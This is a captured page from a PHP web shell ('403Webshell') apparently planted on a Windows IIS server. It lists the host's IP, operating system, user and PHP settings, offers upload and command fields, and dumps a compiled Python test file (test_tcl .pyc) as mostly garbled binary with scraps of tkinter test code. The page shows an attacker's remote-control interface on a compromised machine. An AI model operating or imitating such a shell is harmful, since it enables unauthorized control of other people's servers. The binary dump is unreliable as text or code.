403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.59
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_tcl.cpython-315.pyc
R
>lqj�c���]PHs]PHs]PHs]PHs]QHGs]QHGs]QHGs\OQ2s
]PH,s]QH,Gs]QH(G
s
]QH:GsGs\\\\
O,O/Q222sQ	Q
\O22sQQ\O22sQ
Q\O22sQs\Q6Xc\O>2P!P!\c\O$9ssK�h9h)�)�support)�
import_helper)�	os_helper�_tkinter)�Tcl)�TclError)�INT_MAX�PY_SSIZE_T_MAX�.c�(`�\sQs]snQsQsUsP!)�TkinterTestc�2�UO[[OP	2UO[[O-2UO[[OQ2UO[[OQ.2P!)T�string�set)�assertRaises�	TypeErrorr�_flatten��selfs&�"C:\Python315\\Lib\test\test_tcl.py�testFlattenLen�TkinterTest.testFlattenLensf�����)�X�%6�%6��=����)�X�%6�%6��;�	
���)�X�%6�%6��A����)�X�%6�%6���@��)�__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__�__classdictcell__��
__classdict__s@rrrs����A�Arrc�`�\sQs]%snQsQsQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQsQsQsQsQsQsQsQsQsQsQsQsQs Qs!Qs"Q s#Q!s$\%OL\'OPQ"6HQ#2Q$2s)Q%s*Q&s+Q's,Q(s-Q)s.Q*s/Q+s0Q,s1Q-s2Q.s3Q/s4Q0s5Q1s6\7OpQ22s9Q3s:Us;P!)4�TclTestc�x�[2UmUOOO2UmP!�N)r�interp�tk�wantobjectsrs&r�setUp�
TclTest.setUp's$���e����;�;�>�>�5�5�7��rc�>�UOOQQU2!)r�_)r&�call)r�values&&r�	passValue�TclTest.passValue+s���{�{����s�E�2�2rc��UOoUOQ2UOUOQ2Q2P!)�set a 1�set a�1)r&�eval�assertEqual�r�tcls& r�testEval�TclTest.testEval.s0���k�k�������������'�*�3�/rc�b�UOoUOUOQ2Q2P!)zset a "a\0b"�ab)r&r6r5r7s& r�test_eval_null_in_result� TclTest.test_eval_null_in_result3s$���k�k��������/�2�H�=rc���UOoUOQ2o[OQ6Xc [Q6�cUOQU2P!UOQU2P!)zset a "<\ud83d\udcbb>"�win32�<��>�<💻>��	r)r&r5�sys�platform�tcl_versionr6)rr8�results&  r�test_eval_surrogates_in_result�&TclTest.test_eval_surrogates_in_result7sN���k�k�����3�4���<�<�7�"�{�f�'<����-�v�6����^�V�4rc�b�UOoUO[UOQ2P!)r3�r&rrr5r7s& r�testEvalException�TclTest.testEvalException?s!���k�k�����(�3�8�8�G�4rc�b�UOoUO[UOQ2P!)z
this is wrongrLr7s& r�testEvalException2�TclTest.testEvalException2Cs!���k�k�����(�3�8�8�O�<rc��UOOoUOQ2UOQ2oQoUOV#2P!)�7set a "\u20ac \ud83d\udcbb \0 \udcab"; regexp -about $ar3�€ 💻  ���)r&r'r5r6�rr8�a�expecteds&   r�test_eval_returns_tcl_obj�!TclTest.test_eval_returns_tcl_objGs=���k�k�n�n�����K�L��H�H�W���<������%rc��UOoUOQQQ2UOUOQQ2Q2P!)rrVr4)r&r-r6r7s& r�testCall�TclTest.testCallNs6���k�k������s�3��������%��,�S�1rc��UOoUOQQQ2UOUOQ2Q2UOUOQQ2Q2UOUO	Q2Q2UOQQQ2UOUOQ2Q2UOUOQQ2Q2UOUO	Q2Q2P!)rrVr<r3�€)r&r-r6�getvarr5r7s& r�test_call_passing_null�TclTest.test_call_passing_nullSs����k�k�������V�$�������C��(�3�������%��-�x�8�������'�*�H�5������Z�(�������C��,�7�������%��-�|�<�������'�*�L�9rc�d�UOoUO[UOQQ2P!)rrV�r&rrr-r7s& r�testCallException�TclTest.testCallException_s#���k�k�����(�3�8�8�E�#�6rc�f�UOoUO[UOQQQ2P!)�this�is�wrongrcr7s& r�testCallException2�TclTest.testCallException2cs%���k�k�����(�3�8�8�F�4��@rc�n�UOOoUOQ2UOQQ2oQoUO%cVUO[
U2U2UOUOU2UOUOQ2P!UOV#2P!)rSrrVrT�regexp)	r&r'r5r-r(r6�strr�typenamerUs&   r�test_call_returns_tcl_obj�!TclTest.test_call_returns_tcl_objgs����k�k�n�n�����K�L��H�H�U�C� ��<���������S��V�X�.����Q�X�X�x�0����Q�Z�Z��2����Q�)rc��UOoUOQQ2UOUOQ2Q2P!)rVr4r3�r&�setvarr6r5r7s& r�
testSetVar�TclTest.testSetVarss2���k�k���
�
�3�s��������'�*�3�/rc��UOoUOQQ2UOUOQ2Q2UOUO	QQ2Q2UOUOQ2Q2UOQQ2UOUOQ2Q2UOUO	QQ2Q2UOUOQ2Q2P!)rVr<rr3r^)r&rtr6r_r-r5r7s& r�test_setvar_passing_null� TclTest.test_setvar_passing_nullxs����k�k���
�
�3���������C��(�3�������%��-�x�8�������'�*�H�5��
�
�3�
�#�������C��,�7�������%��-�|�<�������'�*�L�9rc��UOoUOQQ2UOUOQ2Q2P!)�a(1)r4zset a(1)rsr7s& r�testSetVarArray�TclTest.testSetVarArray�s2���k�k���
�
�6�#��������*�-�c�2rc��UOoUOQ2UOUOQ2Q2P!)r2rVr4�r&r5r6r_r7s& r�
testGetVar�TclTest.testGetVar�s/���k�k�������������C���-rc��UOoUOQ2UOUOQ2Q2P!)z
set a(1) 1r{r4rr7s& r�testGetVarArray�TclTest.testGetVarArray�s0���k�k�������������F�+�C�0rc�b�UOoUO[UOQ2P!�rV�r&rrr_r7s& r�testGetVarException�TclTest.testGetVarException�s!���k�k�����(�3�:�:�c�2rc�b�UOoUO[UOQ2P!)r{r�r7s& r�testGetVarArrayException� TclTest.testGetVarArrayException�s!���k�k�����(�3�:�:�f�5rc�l�UOOoUOQ2UOQ2oQoUO%cVUO[
U2U2UOUOU2UOUOQ2P!UOV#2P!)rSrVrTrm)	r&r'r5r_r(r6rnrrorUs&   r�test_getvar_returns_tcl_obj�#TclTest.test_getvar_returns_tcl_obj�s����k�k�n�n�����K�L��J�J�s�O��<���������S��V�X�.����Q�X�X�x�0����Q�Z�Z��2����Q�)rc���UOoUOQ]2UOUOQ2Q2UO	Q2UOUOQ2Q2P!)rVz
info exists ar4�0�r&rtr6r5�unsetvarr7s& r�testUnsetVar�TclTest.testUnsetVar�sW���k�k���
�
�3�q��������/�2�3�7����S��������/�2�3�7rc��UOoUOQ]2UOQ]2UOUOQ2Q2UOUOQ2Q2UO	Q2UOUOQ2Q2UOUOQ2Q2P!)r{za(2)zinfo exists a(1)r4zinfo exists a(2)r�r�r7s& r�testUnsetVarArray�TclTest.testUnsetVarArray�s����k�k���
�
�6�!���
�
�6�!��������"4�5�c�:�������"4�5�c�:����V��������"4�5�c�:�������"4�5�c�:rc�b�UOoUO[UOQ2P!r�)r&rrr�r7s& r�testUnsetVarException�TclTest.testUnsetVarException�s!���k�k�����(�3�<�<��4rc�@�]]PQQQQQQQQ	]Q*]Q*'1
!)
r��li���i�l����ll����l����l����rrs&r�get_integers�TclTest.get_integers�s4���1�b����������4��!�T�'��#�	#rc
�:�UOOoUO2FD�oUOUO	QU*2U2UOUO	QU*2U2SOUO	QU*OQP22[Q6cSL[QU*22UOUO	QU*2U2J�	UOUO	]*2]*2UO[UO2UO[UOQQ2UO[UOQ2UO[UOQ2UO[UOQ	2UO[[[1UOQ
2UO[[[1UOQ2P!)
z %d z %#o �oz%oz %#x �42�10s42�E@rVz42u42�rC)
r&r'r�r6�getint�replacerG�intrrr�
ValueError�UnicodeEncodeError)rr8�is&  r�test_getint�TclTest.test_getint�s����k�k�n�n���"�"�$�A����S�Z�Z���
�3�Q�7����S�Z�Z��!��4�a�8�
���S�Z�Z��1��(=�(=�c�2�(F�G�"-��"6�Q�C��q��M�
K����S�Z�Z��!��4�a�8�%�	
������B���,����)�S�Z�Z�0����)�S�Z�Z��t�<����)�S�Z�Z��7����)�S�Z�Z��6����(�C�J�J��4����9�j�(�;��*�*�f�	.����-�z�8�D��*�*�j�	2rc���UOOoUOUOQ2Q2UOUOQ2Q2UOUOQ2Q2UOUO]*2Q2UO	[
UO2UO	[
UOQQ2UO	[
UOQ2UO	[UOQ2UO	[
[[1UOQ2UO	[[[1UOQ	2P!)
z 42 r�z 42.5 g@E@z42.5r�s42.5rVz42.5u42.5�)	r&r'r6�	getdoublerrrr�r�r7s& r�test_getdouble�TclTest.test_getdouble�s���k�k�n�n��������v�.��5�������x�0�$�7�������t�,�d�3�������r�*�D�1����)�S�]�]�3����)�S�]�]�F�D�A����)�S�]�]�G�<����(�C�M�M�3�7����9�j�(�;��-�-��	3����-�z�8�D��-�-��	7rc�6�UOOoUOUOQ2P	2UOUOQ2P	2UOUO]*2P	2UOUO]2P
2UO	[
UO2UO	[
UOQQ2UO	[
UOQ2UO	[
UOQ2UO	[UOQ2UO	[
[[1UOQ2UO	[[[1UOQ2P!)�onr4son��?rVzonuon�)	r&r'�assertIs�
getbooleanrrrr�r�r7s& r�test_getboolean�TclTest.test_getboolean�s���k�k�n�n���
�
�c�n�n�T�*�D�1��
�
�c�n�n�S�)�4�0��
�
�c�n�n�R�(�$�/��
�
�c�n�n�Q�'��/����)�S�^�^�4����)�S�^�^�T�3�?����)�S�^�^�U�;����)�S�^�^�S�9����(�C�N�N�C�8����9�j�(�;��.�.�&�	2����-�z�8�D��.�.�*�	6rc���UOo[OoUO[OU2[UQ29^tt^2oUO
Q2PPP2UOU2UOUOQ2Q2UOUOQ2Q2UOUOQ2Q2P!)%fhK�9h)�wzKset a 1
            set b 2
            set c [ expr $a + $b ]
            r3r4�set b�2zset c�3�
r&r�TESTFN_ASCII�
addCleanup�unlink�open�write�evalfiler6r5�rr8�filename�fs&   r�testEvalFile�TclTest.testEvalFile�s����k�k���)�)�����	�(�(�(�3�
�(�C�
 �
 �A�
�G�G��
�!�
	���X��������'�*�3�/�������'�*�3�/�������'�*�3�/�!�
 �s�C"�"C2	�+C2	c��UOo[OoUO[OU2[UQ29^tt^2oUO
Q2PPP2UOU2UOUOQ2Q2UOUOQ2Q2P!)%fhKe9h)r�z>
            set a "ab"
            set b "a\0b"
            r3r<r�r�r�s&   r�test_evalfile_null_in_result�$TclTest.test_evalfile_null_in_results����k�k���)�)�����	�(�(�(�3�
�(�C�
 �
 �A�
�G�G��
�!�
	���X��������'�*�H�5�������'�*�H�5�!�
 �s�C�C	�
C	c��UOoUOQQ2oUOUOQQU2UOQQQ2[OoUO[O
U2[
UQ29^tt^2oUOQ2PPP2[Q6�c#UO[UOU2L2UOU2UOUOQ2Q2[
UQ29^tt^2oUOQ2PPP2UOU2UOQ2o[OQ	6Xc [Q6�cUOQ
U2P!UOQU2P!)%fhCK9h)%fhK�9h)�encoding�systemzutf-8�wbs*
            set a "<��>"
            r3rBs0
            set b "<\ud83d\udcbb>"
            r�r@rArC)r&r-r�rr�r�r�r�rGrrr�r6r5rErF)rr8r�r�r�rHs&     r�"test_evalfile_surrogates_in_result�*TclTest.test_evalfile_surrogates_in_resultsT���k�k���8�8�J��1��������*�h��A�����X�w�/��)�)�����	�(�(�(�3�
�(�D�
!�
!�Q�
�G�G��
�"��&� ����h����h�?��L�L��"����S�X�X�g�.��?�
�(�D�
!�
!�Q�
�G�G��
�"�	���X�����'�"���<�<�7�"�{�f�'<����-�v�6����^�V�4�'"�
!�
!��"�
!�s$�F&�"F:�&F7	�/F7	�:G
	�G
	c���UOoQo[OU2UO	[
UOU2P![coPo=K3Po=hh9h)�
doesnotexists)r&�os�remove�	Exceptionrrr�)rr8r��es&   r�testEvalFileException�TclTest.testEvalFileException.sN���k�k��"��	��I�I�h��	
���(�3�<�<��9���	���	�s�A
�
	A�A�Ac�b�UOoUO[UOQ2P!)zpackage require DNErLr7s& r�testPackageRequireException�#TclTest.testPackageRequireException7s"���k�k�����(�3�8�8�,A�Brr@zRequires Windowsc�l�[OO[O2oU]*Q6wc[
OQ2gQ[OQ*8QU]*8QUQ*80o[OOU2%f[
OQ2g[O29^tt^2oUOQ	2[OUQ
Q,2oPPP2UOQW2P!)%fhK$9h)
��:z$Absolute path should have drive partz\\�COMPUTERNAME�\z$\:�NNzCannot connect to UNC Path�TCL_LIBRARY�-czimport tkinter; print(tkinter)stkinter)r��path�abspathrE�
executable�unittest�SkipTest�environ�existsr�EnvironmentVarGuard�unset�
subprocess�check_output�assertIn)r�fullname�unc_name�env�stdouts&    r�testLoadWithUNC�TclTest.testLoadWithUNC;s����7�7�?�?�3�>�>�2���A�;�#���#�#�$J�K�K��%'�Z�Z��%?�%?�$,�Q�K�K�$,�R�L�2���w�w�~�~�h�'�'��#�#�$@�A�A�
�
*�
*�
,�
,���I�I�m�$��,�,��t�%E�F�H�F�-�
	
�
�
�j�&�)�-�
,�s�+D#�#D3	�,D3	c�``�ROnROQQ]2ROQQ]2UU1QkoRO[RO2RO[ROQQ2RO[ROQ2RO[
ROQ2UPQ2UQ	Q
2UQQ2UQ
Q2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQ Q!2UQ"Q#2UQ$Q#2UQ%Q&2UQ'[
Q(22P!))rrV�bc�z:�ROU2oROV!2ROU[2P!r%)�
exprstringr6�assertIsInstancern��exprrWrHrr8s&& ��r�check�&TclTest.test_exprstring.<locals>.checkUs/����^�^�D�)�F����V�.��!�!�&�#�.r�8.2�+6�8.2 + 6�spamr��8.2 + 6z14.2�3.1 + $az6.1�2 + "$a.$b"z5.6�4*[llength "6 2"]�8�{word one} < "word $a"�4*2 < 7�hypot($a, 4)z5.0�5 / 4r4�5 / 4.0z1.25�$5 / ( [string length "abcd"] + 0.0 )�20.0/5.0z4.0�"0x03" > "2"�[string length "a½€"]r��[string length "a\xbd\u20ac"]�"abc"�abcu"a½€"ua½€z
"a\xbd\u20ac"z"a\0b"r<�2**64�)r&r-rrr�rrn�rr�r8sf @r�test_exprstring�TclTest.test_exprstringQs\����k�k�������Q�������Q��	/�
	
���)�S�^�^�4����)�S�^�^�U�D�A����)�S�^�^�Z�@����(�C�N�N�F�;�
�b�#��
�i�� �
�j�%� �
�m�U�#�
�!�3�'�
�&��,�
�i���
�n�e�$�
�g�s��
�i�� �
�4�f�=�
�j�%� �
�n�c�"�
�-�s�3�
�.��4�
�g�u��
�o�}�-�
��
�.�
�i��"�
�g�s�5�z�"rc�``�ROnROQQ]2ROQQ]2UU1QkoRO[RO2RO[ROQQ2RO[ROQ2RO[
ROQ2UPQ2UQ	Q
2UQQ2UQ
Q2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2UQQ2RO[
ROQ 2UQ![
Q"22P!)#rrVr�c�z:�ROU2oROV!2ROU[2P!r%)�
exprdoubler6r��floatr�s&& ��rr��&TclTest.test_exprdouble.<locals>.checkws/����^�^�D�)�F����V�.��!�!�&�%�0rrrrr�rgffffff,@rgffffff@rgffffff@rg @r	r
rg@rr�r
g�?rrg@rrg@rrrr)r&r-rrrrrrsf @r�test_exprdouble�TclTest.test_exprdoublessI����k�k�������Q�������Q��	1�
	
���)�S�^�^�4����)�S�^�^�U�D�A����)�S�^�^�Z�@����(�C�N�N�F�;�
�b�#��
�i���
�j�#��
�m�S�!�
�!�3�'�
�&��,�
�i���
�n�c�"�
�g�s��
�i���
�4�d�;�
�j�#��
�n�c�"�
�-�s�3�
�.��4����(�C�N�N�G�<�
�g�u�U�|�$rc�``�ROnROQQ]2ROQQ]2UU1QkoRO[RO2RO[ROQQ2RO[ROQ2RO[
ROQ2UP]2UQ]2UQ	]2UQ
]2UQ]2UQ]2UQ
]2UQ]2UQ]2UQ]2UQ]2UQ]2UQ]2UQ]2UQ]2RO[
ROQ2RO[
ROQ2P!)rrVr�c�z:�ROU2oROV!2ROU[2P!r%)�exprlongr6r�r�r�s&& ��rr��$TclTest.test_exprlong.<locals>.check�s/����\�\�$�'�F����V�.��!�!�&�#�.rrrrrrrrrr	r
rrr
rrrrrrr)r&r-rrr$rrsf @r�
test_exprlong�TclTest.test_exprlong�sQ����k�k�������Q�������Q��	/�
	
���)�S�\�\�2����)�S�\�\�5�$�?����)�S�\�\�:�>����(�C�L�L�&�9�
�b�!��
�i���
�j�!��
�m�Q��
�!�1�%�
�&��*�
�i���
�n�a� �
�g�q��
�i���
�4�a�8�
�j�!��
�n�a� �
�-�q�1�
�.��2����(�C�L�L�'�:����(�C�L�L�'�:rc�``�ROnROQQ]2ROQQ]2UU1QkoRO[RO2RO[ROQQ2RO[ROQ2RO[
ROQ2UPP
2QFD,oUUP
2UQU*P
2UQ	U*P
2J.	QFD,oUUP	2UQU*P	2UQ	U*P	2J.	UQ
P	2UQP	2UQP	2UQ
P	2UQP
2UQP
2UQP	2UQP	2UQP	2UQP	2UQP	2UQP	2UQP	2UQP	2RO[
ROQ2UQP	2P!)rrVr�c�:�ROU2oROV!2ROU[2RO	U[
2P!r%)�exprbooleanr6r�r��assertNotIsInstance�boolr�s&& ��rr��'TclTest.test_exprboolean.<locals>.check�s?����_�_�T�*�F����V�.��!�!�&�#�.��$�$�V�T�2rrrrrz"%s"z{%s}rrrrr	r
rrr
rrrrrrr)r��false�no�off)r4�true�yesr�)r&r-rrr*r)rr�r.r8sf  @r�test_exprboolean�TclTest.test_exprboolean�s�����k�k�������Q�������Q��	3�	
���)�S�_�_�5����)�S�_�_�e�T�B����)�S�_�_�j�A����(�C�O�O�V�<�
�b�%��0�E��%����&�5�.�%�(��&�5�.�%�(�1�0�E��%����&�5�.�$�'��&�5�.�$�'�0�	�i���
�j�$��
�m�T�"�
�!�4�(�
�&��.�
�i���
�n�d�#�
�g�t��
�i���
�4�d�;�
�j�$��
�n�d�#�
�-�t�4�
�.��5����(�C�O�O�W�=�
�g�t�rc��``�ROnUU1QkoUQP	2UQP	2UQP	2UQP
2UQP
2UQP
2UQP	2UQP
2P!)	c	�":�ROQU2oRO2%c*ROV!2ROU[2P!ROV [
[	U2212ROU[2P!�r�)r-r(r6r�r�r�rnr�s&& ��rr��$TclTest.test_booleans.<locals>.check�sh����X�X�f�d�+�F���� � �� � ��2��%�%�f�c�2��
�
�f�S��X��-?�&@�A��%�%�f�c�2rr1r2r�r.r/r0z1 < 2z1 > 2�r&rsf @r�
test_booleans�TclTest.test_booleans�sc����k�k��	3�	�f�d��
�e�T��
�d�D��
�g�u��
�d�E��
�e�U��
�g�t��
�g�u�rc�^�UOoUO2FD�oUOQ[U22oUO%c*UOV22UO
U[2JYUOU[U22UO
U[2J�	P!r7)r&r�r-rnr(r6r�r�)rr8r�rHs&   r�test_expr_bignum�TclTest.test_expr_bignum�s����k�k���"�"�$�A��X�X�f�c�!�f�-�F������ � ��+��%�%�f�c�2�� � ���Q��0��%�%�f�c�2�%rc	�x�UOoSOUP	2UO%cP	LQ2SOUP
2UO%cP
LQ2UOUQ2Q2UOUQ2Q2UOUQ2Q2UOUQ2Q2UOUQ2Q2UOUQ2Q2UOUQ	2Q	2[OQ
6wc1UOUQ2Q2UOUQ
2Q2SOUQ2UO%cQLQ2SOUQ2UO%cQLQ2SOUQ2UO%cQLQ2UO2FD8oSOUU2UO%cSL
[
U22J:	QQQQ[OO[OO[OO'[OO'1FDPoUO%cUOUU2U2J/UO[UU22U2JR	UO%czU[Q22oUOV32UOU[Q22[Q22UOU[Q2'2[Q2'2LhUO[U[Q222[Q22UO[U[Q2'22[Q2'2SOUQ2UO%cQLQ2SOUQQQ,,2UO%c	Q 2P!Q2P!)!Tr4r�r�	string€�
string💻�string�	string½�
string€ustring💻r@�<���>�<€>�<������>rB�string�str��ing�
strÀ€ingsstr�ingustr½ingrr��nan�infz1 2 3.4rVr��c�a {b c}���UUUUUU�?�r�r���333333@)rV)r�rM)r/r6r(rErFr�rn�
float_info�min�maxr�assertNotEqual)rr/r�r�s&   r�test_passing_values�TclTest.test_passing_values�sm���N�N�	�����4��$�2B�2B�2B�$��L�����5�)�D�4D�4D�4D�5�#�N�����8�,�h�7�����>�2�N�C�����#5�6�8J�K�����<�0�,�?�����#3�4�6F�G�����#5�6�8J�K�����#9�:�/�	1��<�<�7�"����Y�'=�>�'�
)����Y�'O�P�+�
-�����=�1�*.�*:�*:�*:���	N�����#4�5�.2�.>�.>�.>�*�DT�	V�����=�1�*.�*:�*:�*:���	N��"�"�$�A����Y�q�\��0@�0@�0@�1�c�!�f�M�%��s�D�#��.�.�$�$�c�n�n�&8�&8��>�>�%�%�%����(:�(:�':�<�A������ � ��1��q�1�� � ��y��|�!4�a�8�
<������%��,�'�A�����%����Y�u�U�|�4�e�E�l�C����Y��e��}�5��e��}�E����U�9�U�5�\�#:�;�U�5�\�J����U�9�e�E�l�]�#;�<�u�U�|�m�L�����#3�4�-1�-=�-=�-=�)�9�	N�����C�#�s��#4�5�.2�.>�.>�.>�*�	O�DM�	Orc�4``�QnUU1QkQ2oQQ[2oUO%cRQ1LRQ0oUOUOU2Q,9n2U2UOUOUU2Q,29n2U2P!)r.c�2:`�\sQsQsnUU1QksQsUsP!)�QTclTest.test_set_object_concurrent_mutation_in_sequence_conversion.<locals>.Value�,c�*:�RO2R!r%)�clear)rr�valuess&��r�__str__�YTclTest.test_set_object_concurrent_mutation_in_sequence_conversion.<locals>.Value.__str__-s��������
rr)rrrrrarr)r!rr`s@��r�Valuer\,s����
�
rrcc��\sQsQsQsP!)�PTclTest.test_set_object_concurrent_mutation_in_sequence_conversion.<locals>.List�1r)rrrrrrrr�Listre1s��rrg�padz pad)�listr(r6r/)rrcrg�expectrr`s&   @@r�:test_set_object_concurrent_mutation_in_sequence_conversion�BTclTest.test_set_object_concurrent_mutation_in_sequence_conversion&s������	�	�
	�4�	�%)�$4�$4�$4�&�%��V�H�D�/��������5�7�E�2B�(B��C�V�L�������$����7G�2H�(H��I�6�Rrc�``�PnU1QkoROOQU2ROROOOQ2Q"QRO
-UU1QkkkoU1QkoUP	Q]2UP
Q]2UQ2UQ	2UQ
2UQ2[OQ6wcUQ
QQ2UQQQ2UP2UQQ2UQQ2UQQ	2UQP2UQ2UQ2UQ2UQQ2UQQ2UQQ2RO2FDoUU[U22J	Q#FDoUU[U22J	Q$[OO[OO[OO'[OO'1FDoUVSQ5J	U[Q2UQ5U[Q2'UQ5UQ%PP2UQ&Q!Q'2U]],]],Q ,,Q!Q'2P!)(Nc�:�UnU!r%r)�argrHs&�r�testfunc�+TclTest.test_user_command.<locals>.testfunc:s
����F��Jrrp�eqc�:�SoRO]6�cUdSo[U2oLUdSo[oPnROO	QU2oRORU2URU2ROVe2UVd2P!)�rp)r(�typernr&r-r�)	r.�	expected1�	expected2rrrW�
expected_type�rrHrs	&&&$   ��rr��(TclTest.test_user_command.<locals>.check@s�����H����1�$��(�(�H� $�X��
��(�(�H� #�
��F���� � ��U�3�A��!�!�&�-�8��v�x� ��!�!�!�3��q�Orc�d:�RO[U2U[U2Q*Q5P!)g�����|�=)�delta)�assertAlmostEqualr�abs)�actualrWrs&&�r�float_eq�+TclTest.test_user_command.<locals>.float_eqQs+����"�"�5��=�(�),�X���)>�
#�
@rr4r�rustring½r@rAr@rErFrGrBsstrings	string€ustring€sstring�rrBrCrDrHrIrJsstr��ing€ustrÀ€ing€)rrrL�5 6z1 2 {3 4} {5 6} {})NN)rr�rOrPr)r��rt�r��r�r)r�r�r�r��)r&�
createcommandr�r'�
deletecommandr6rErFr�rn�reprrTrUrVr)rrpr�r�r�r�rHsf     @r�test_user_command�TclTest.test_user_command8s�����	�	
���!�!�*�h�7���������4�4�j�A�	�t�?O�?O�	�	�"	@�	�d�C���
�e�S�!��
�h��
�l��
�n��
� �!��<�<�7�"��(�*�j�A��:�N�N�[�
�b�	�
�i��"�
�#�%9�:�
�m�\�*�
�c�2��
�l��
���
� �!�
�m�\�*�
��!1�2�
�+�-I�J��"�"�$�A��!�S��V��%�!�A��!�T�!�W��"�����+�+�S�^�^�-?�-?��>�>�%�%�%����(:�(:�':�<�A��!�!�<�	�e�E�l�x�(�
�u�U�|�m��)�
�b�"�b��
�*�"�*�	,�	�q�1�$��A���r�*�"�*�	,rc�`�UOOoPnU1QkoUOOQU2UOUOOOQ2UOQ2UOQ2QoUO]6�cVUO[R2U2UOROU2UOROQ2P!UORU2P!)Nc�:�UnP!r%r)rorVs&�rrp�.TclTest.test_passing_tcl_obj.<locals>.testfunc~s����ArrprSztestfunc $arTrm)r&r'r�r�r�r5r(r6rnrro)rr8rprWrVs&   @r�test_passing_tcl_obj�TclTest.test_passing_tcl_obj{s�����k�k�n�n����	�	
���!�!�*�h�7���������4�4�j�A����K�L����� �<�����q� ����S��V�X�.����Q�X�X�x�0����Q�Z�Z��2����Q��)rc���UOOOoUOOOoUO	[
U2UO	[
UQQ2UO	[
U]2QQQQQQQQQQQQQQQQQ Q!Q"Q#,Q1QQQ,,QQQ,11UQ]QQ$2UO%cQ%LQ&1,oUO%fQ'oLQ(oUUQQ]QQQ$2U1,*
oQ	UO8Q
[8QUOO280oSFD&vqgUOUU2UQU8Q
U802J(	UO	[UQ2P!))rVr�r�rM�€ri�€�dict�createzwant objects? z, Tcl version: z, Tcl patchlevel: zarg=z, �{)r�)r�r)r�r)�{}�r�)z""r�)z
a
 b	
 c
 �rVr�rM)s
a
 b	
 c
 r�)ua €�rVr�)ua 💻�rVu💻)sa €r�)sa 💻r�)sa ��r�)s	a��b c��d)r<zcd)rN�rVzb c)za b\ cr�)r�r�)za 2)rVr�)�rVrtr�)za 3.4)rV�3.4)�rVrSr�)rrrRrQ)r4r�r�)�12r�u€r�)�r�r�rR)r&r'�	splitlistr-rrr(rG�info_patchlevelr6r)rr�r-�	testcasesrW�dbg_inforo�ress&       r�test_splitlist�TclTest.test_splitlist�s����K�K�N�N�,�,�	��{�{�~�~�"�"�����)�Y�/����)�Y��S�9����)�Y��2�����/�0�)�1�0�8�@�<�%�%�(�� �#�$��
��H��C��:�
��s�C�j� 1�2�
�&�!�S�&�
)�$(�$4�$4�$4� �!�
#�/
�	�6����>�H�>�H��
�&�(�B��/�6�
J��
�
�	
�	�
�'�'��d�k�k�6Q�6Q�6S�U��!�H�C����Y�s�^�S�-0�(�;�
=�"�	
���(�I�s�3rc
���[OoUOOoQoUO	UV#P
2QQQQQP-2UO	UV#2QQQQQP-2QoUO	UV#P
2QQ
QQQQ-2UO	UV#2QQ
QQQQ-2UO[VQ	2UO[VQ2UOQ
QQ
QQQQ2oSO	UV#2QUO%cQ
LQQQQP-2UOQQQQ
QQQQ2oUO%f
QQQQQP-oLQQ
QQQP-oUO	UV#2U2P!)z#-a {1 2 3} -something foo status {}�-az1 2 3�
-something�foo�statusrV�	somethingr�z-a b -c rir�r��r�rtr�)r�r�r�r�r�r�)r�r�r�r)	�tkinter�
_splitdictr&r'r6r�RuntimeErrorr-r()r�	splitdictr8rorWs&    r�test_splitdict�TclTest.test_splitdict�s����&�&�	��k�k�n�n��3������3�U�3�
�7�L�%��2�>�	@�����3�,�
�'�;��x��<�	>�E������3�U�3�
�9�l�E�8�T�B�	D�����3�,�
�)�[�%��4�@�	B�	
���,�	�
�C����,�	�8I�J��h�h�v��i��u�h��L������3�,�
�t�/�/�/�)�W�
�%��2�
/�	0��h�h�v�x��Y��e�X�r�K�������W�k�5�(�B�G�H��Y��U�H�b�I�H�����3�,�h�7rc�````�[OnROOnU1QknUUU1QkoUP2UQ2UQ2UQ2UQ2UQ2UQ2UQ2UQ	2UQ
2UQ2UQ2UQ
2UQ2UQ2UQ2UQ2UQ2UQ2UQ2UQ2UQ2UQ2UQ2P!)c�,:�ROQU]2!)�lindex)r-)�sr8s&�r�unpack�!TclTest.test_join.<locals>.unpack�s����8�8�H�a��+�+rc
�:�RORRU,22U2RORRU],22U2RORRRU,,222U2RORRRU],,222U2RORRRU,],222U2RORRRU],],222U2P!)r)r6)r.�joinrr�s&���rr�� TclTest.test_join.<locals>.check�s�������V�D�%��M�2�E�:����V�D�%���$4�5�u�=����V�F�4�%��	�?�$;�<�e�D����V�F�4�%����+=�$>�?��G����V�F�4�%��!��+=�$>�?��G����V�F�4�%���Q��+@�$A�B�E�Jrrzsp amzsp	amzsp
amz 	
z{spam}z{sp am}z"spam"z"sp am"z{"spam"}z"{spam}"zsp\amz"sp\am"z	"{}" "{}"z"\z"{z"}z
\z
{z
}z\
z{
z}
)r��_joinr&r')rr�r�r8r�sf @@@r�	test_join�TclTest.test_join�s�����}�}���k�k�n�n��	,�	K�	�b�	�
�f�
�
�g��
�h��
�h��
�g��
�h��
�i��
�h��
�i��
�j��
�j��
�h��
�j��
�k��
�e��
�d��
�d��
�f�
�
�e��
�e��
�f�
�
�e��
�e�rc���[OU[O2[OU[O2[OU[O
2P!r%)r�check_disallow_instantiationr�Tcl_Obj�TkttType�	TkappTypers&r�test_new_tcl_obj�TclTest.test_new_tcl_objsD���,�,�T�8�3C�3C�D��,�,�T�8�3D�3D�E��,�,�T�8�3E�3E�Fr)r&r()<rrrrr)r/r9r=rIrMrPrXr[r`rdrjrprurxr|r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��
skipUnlessrErFr�rr r&r3r:r=rXrkr�r�r�r�r�r�cpython_onlyr�rrr s@rr#r#%s?����8�3�0�
>�5�5�=�&�2�

:�7�A�
*�0�

:�3�
.�
1�
3�6�
*�8�;�5�#�2�*
7�6� 0�6�5�::�C��������0�2D�E�*�F�*�* #�D%�>;�>&�P�&	3�-O�^S�$A,�F*�$.4�`8�B#�J
